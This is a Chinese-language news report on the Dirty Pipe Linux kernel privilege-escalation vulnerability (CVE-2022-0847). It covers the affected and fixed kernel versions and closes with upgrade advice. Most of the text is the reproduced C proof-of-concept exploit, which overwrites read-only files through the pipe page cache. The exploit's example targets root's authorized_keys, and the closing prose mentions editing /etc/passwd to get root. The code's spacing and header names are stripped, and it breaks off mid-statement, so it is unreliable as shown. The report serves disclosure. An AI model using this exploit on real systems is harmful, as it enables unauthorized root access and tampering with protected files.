来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞：脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。
据介绍，此漏洞自 5.8 版本起就已存在。非 root 用户通过注入和覆盖只读文件中的数据，从而获得 root 权限。因为非特权进程可以将代码注入 root 进程。
Max 表示，“脏管道”漏洞与几年前的“脏牛”类似，所以采用了相似的名字，不过前者更容易被利用。此外，该漏洞目前已被黑客利用，研究人员建议尽快升级版本，Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。
Max 在文章中提供了漏洞 PoC。

It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' * * Further explanation: https://dirtypipe.cm4all.com/ */#define_GNU_SOURCE#include#include#include#include#include#include#include#ifndefPAGE_SIZE#definePAGE_SIZE4096#endif/** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */staticvoidprepare_pipe(intp[2]){ if (pipe(p)) abort(); constunsignedpipe_size=fcntl(p[1], F_GETPIPE_SZ); staticcharbuffer[4096]; /* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */for (unsignedr=pipe_size; r>0;) { unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r; write(p[1], buffer, n); r-=n; } /* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */for (unsignedr=pipe_size; r>0;) { unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r; read(p[0], buffer, n); r-=n; } /* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its "flags", the buffer will be mergeable */}intmain(intargc, char**argv){ if (argc!=4) { fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); returnEXIT_FAILURE; } /* dumb command-line argument parser */constchar*constpath=argv[1]; loff_toffset=strtoul(argv[2], NULL, 0); constchar*constdata=argv[3]; constsize_tdata_size=strlen(data); if (offset%PAGE_SIZE==0) { fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); returnEXIT_FAILURE; } constloff_tnext_page= (offset| (PAGE_SIZE-1)) +1; constloff_tend_offset=offset+ (loff_t)data_size; if (end_offset>next_page) { fprintf(stderr, "Sorry, cannot write across a page boundary\n"); returnEXIT_FAILURE; } /* open the input file and validate the specified offset */constintfd=open(path, O_RDONLY); // yes, read-only! :-)if (fd<0) { perror("open failed"); returnEXIT_FAILURE; } structstatst; if (fstat(fd, &st)) { perror("stat failed"); returnEXIT_FAILURE; } if (offset>st.st_size) { fprintf(stderr, "Offset is not inside the file\n"); returnEXIT_FAILURE; } if (end_offset>st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file\n"); returnEXIT_FAILURE; } /* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */intp[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */--offset; ssize_tnbytes=splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes<0) { perror("splice failed"); returnEXIT_FAILURE; } if (nbytes==0) { fprintf(stderr, "short splice\n"); returnEXIT_FAILURE; } /* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */nbytes=write(p[1], data, data_size); if (nbytes<0) { perror("write failed"); returnEXIT_FAILURE; } if ((size_t)nbytes
据介绍，本地用户可以将自己的数据注入敏感的只读文件，消除限制或修改配置以获得更高的权限。有研究人员通过利用该漏洞修改 /etc/passwd 文件进行了举例，修改后可直接取消 root 用户的密码，然后普通用户使用 su root 命令即可获得 root 账户的访问权限。还有研究人员发现，使用 /usr/bin/su 命令删除 /tmp/sh 中的 root shell 可以更容易获取 root 权限。
最后，建议各位检查所使用的 Linux 服务器的内核版本，若是 5.8 以上的版本请尽快升级。
